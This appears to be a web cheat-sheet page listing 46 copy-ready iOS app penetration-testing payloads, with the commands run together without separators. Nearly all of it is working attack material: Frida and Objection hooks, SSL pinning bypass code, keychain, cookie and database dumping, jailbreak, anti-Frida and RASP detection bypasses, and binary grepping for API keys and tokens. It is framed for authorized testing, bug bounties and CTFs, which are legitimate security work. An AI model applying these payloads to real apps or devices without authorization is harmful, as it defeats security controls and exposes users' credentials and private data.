iOS application penetration testing — Frida and Objection instrumentation, SSL pinning bypass, Keychain and data-store dumping, jailbreak detection bypass, and IPA static analysis. (46 payloads)
frida-ps -Uaifrida-trace -U -f com.target.app -m "-[NSURLSession *]"frida-ios-dump -u user -p pass com.target.appunzip -q app.ipa -d app_extracted && ls app_extracted/Payload/*.appotool -l Payload/Target.app/Target | grep -A4 LC_ENCRYPTION_INFOideviceinstaller -l # or: cfgutil get installedAppssecurity cms -D -i embedded.mobileprovisionobjection -g com.target.app exploreios bundles list_frameworksios hooking list classesios hooking list class_methods LoginViewControllerios hooking watch class LoginViewController --dump-args --dump-return --dump-backtraceios hooking set return_value "-[JailbreakDetector isJailbroken]" falsememory dump all /tmp/app_mem.bin ; memory search 41424344 --stringios cookies get ; ios ui dump ; ios ui screenshot shot.pngios sslpinning disablefrida -U --codeshare pcipolloni/universal-ssl-pinning-bypass-with-frida -f com.target.appInterceptor.attach(Module.findExportByName('libboringssl.dylib','SSL_CTX_set_custom_verify'), { onEnter(a){ a[2]=Module.findExportByName(null,'SSL_get_psk_identity'); } })Interceptor.replace(Module.findExportByName('Security','SecTrustEvaluateWithError'), new NativeCallback(()=>1, 'int', ['pointer','pointer']))ObjC.classes.TrustKit['+ sharedInstance'] ... swizzle pinningValidator to TSKTrustDecisionShouldAllowConnectionInstall Burp CA: Settings > General > About > Certificate Trust Settings > enable full trustPatch __TEXT pinning check with a hex editor (e.g. flip TBNZ to NOP) and re-sign with ldid -Sios keychain dumpios keychain dump --json /tmp/keychain.jsonios nsuserdefaults getenv → cd <Documents> → ls -la (inside objection)ios plist cat Library/Preferences/com.target.app.plistsqlite3 Documents/app.db '.tables' ; sqlite3 app.db 'SELECT * FROM users;'file download Documents/cache.realm /tmp/cache.realmls -la Library/Caches/Snapshots/ # app backgrounding screenshotsobjection -g com.target.app explore --startup-command "ios jailbreak disable"Add /Applications/Cydia.app, /bin/bash, /etc/apt, /private/var/lib/apt to a path blocklist hookInterceptor.replace(Module.findExportByName(null,'fork'), new NativeCallback(()=>-1,'int',[]))Interceptor.attach(Module.findExportByName(null,'stat'), { onLeave(r){ /* clear results for /Applications/Cydia.app */ } })Hook -[NSURL canOpenURL:] / UIApplication to return NO for cydia:// undecimus:// sileo:// zbra://Use Liberty Lite / Shadow / A-Bypass tweak from a jailbreak repoCheck for / disable anti-Frida: scan for 'frida', port 27042, and gum-js-loop thread before hookingRASP/integrity bypass: hook the SDK callback that reports 'tampered=true' to return clean stateclass-dump -H Payload/Target.app/Target -o headers/strings -a Payload/Target.app/Target | grep -iE 'http(s)?://|api[_-]?key|secret|bearer|AKIA[0-9A-Z]{16}'rabin2 -zzq Payload/Target.app/Target | grep -iE 'password|token|jwt|private[_-]?key'plutil -p Payload/Target.app/Info.plist | grep -iE 'NSAppTransportSecurity|URLSchemes|UIFileSharing|NSAllowsArbitraryLoads'codesign -d --entitlements :- Payload/Target.appMobSF: docker run -p 8000:8000 opensecurity/mobile-security-framework-mobsf, then upload the IPAgrep -rE 'kCCAlgorithmAES|ECB|kSecAttrAccessibleAlways' headers/ source/nm Payload/Target.app/Target | grep -iE 'NSLog|_objc_msgSend' ; otool -hv Target | grep PIELevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
It's a quick-reference collection of 46 iOS App Sec payloads for testing iOS App Security Testing vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.
Copy any payload straight into your authorized test, or use the Certificate Decoder to apply them interactively. Only test systems you have explicit permission to assess.
Yes — this cheat sheet and all iOS App Sec payloads are completely free, with no account required. Everything runs in your browser.